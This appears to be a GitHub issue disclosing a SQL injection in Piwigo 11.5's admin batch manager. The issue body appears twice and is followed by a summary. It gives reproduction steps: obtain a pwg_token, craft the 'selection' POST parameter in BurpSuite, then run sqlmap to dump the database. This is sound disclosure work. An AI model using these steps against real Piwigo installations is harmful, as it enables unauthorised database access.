Piwigo v11.5 was discovered to contain a SQL injection vulnerability via the parameter pwg_token in /admin/batch_manager_global.php.
I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then  we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
![image](https://user-images.githubusercontent.com/56486273/131239935-1e1a76df-e502-48d7-bb29-82f8687b5280.png)
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
![image](https://user-images.githubusercontent.com/56486273/131240000-fd43c30b-42bf-4d1e-8296-581e5b3bf08f.png)
Unfiltered parametersselection is spliced
![image](https://user-images.githubusercontent.com/56486273/131240040-95838169-98c6-434e-be6d-890d9add0ba7.png)
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
![image](https://user-images.githubusercontent.com/56486273/131240106-fd38c256-7ab4-4256-849c-e4eb3a36dbe7.png)
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
![image](https://user-images.githubusercontent.com/56486273/131240453-842b89ba-1604-465a-8802-6b8b984e1426.png)
[11.5]SQL injection
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : [11.5]SQL injection
Issue date:

--- start body ---
I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then  we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
![image](https://user-images.githubusercontent.com/56486273/131239935-1e1a76df-e502-48d7-bb29-82f8687b5280.png)
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
![image](https://user-images.githubusercontent.com/56486273/131240000-fd43c30b-42bf-4d1e-8296-581e5b3bf08f.png)
Unfiltered parametersselection is spliced
![image](https://user-images.githubusercontent.com/56486273/131240040-95838169-98c6-434e-be6d-890d9add0ba7.png)
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
![image](https://user-images.githubusercontent.com/56486273/131240106-fd38c256-7ab4-4256-849c-e4eb3a36dbe7.png)
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
![image](https://user-images.githubusercontent.com/56486273/131240453-842b89ba-1604-465a-8802-6b8b984e1426.png)
--- end body ---

The issue describes a SQL injection vulnerability in Piwigo's admin interface, specifically in the `admin/batch_manager_global.php` file. The vulnerability arises from the lack of input filtering on the `selection` parameter, allowing an attacker to manipulate SQL queries by injecting malicious SQL code. The attacker can exploit this by capturing requests and using tools like sqlmap to extract sensitive information from the database.